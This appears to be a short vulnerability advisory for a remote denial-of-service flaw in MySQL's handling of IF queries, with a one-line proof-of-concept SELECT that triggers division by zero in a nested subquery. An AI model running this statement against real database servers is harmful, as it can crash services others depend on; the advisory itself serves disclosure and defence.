• info
• discussion
• exploit
• solution
• references

MySQL IF Query Handling Remote Denial Of Service Vulnerability

The following proof-of-concept statement is available:

SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)));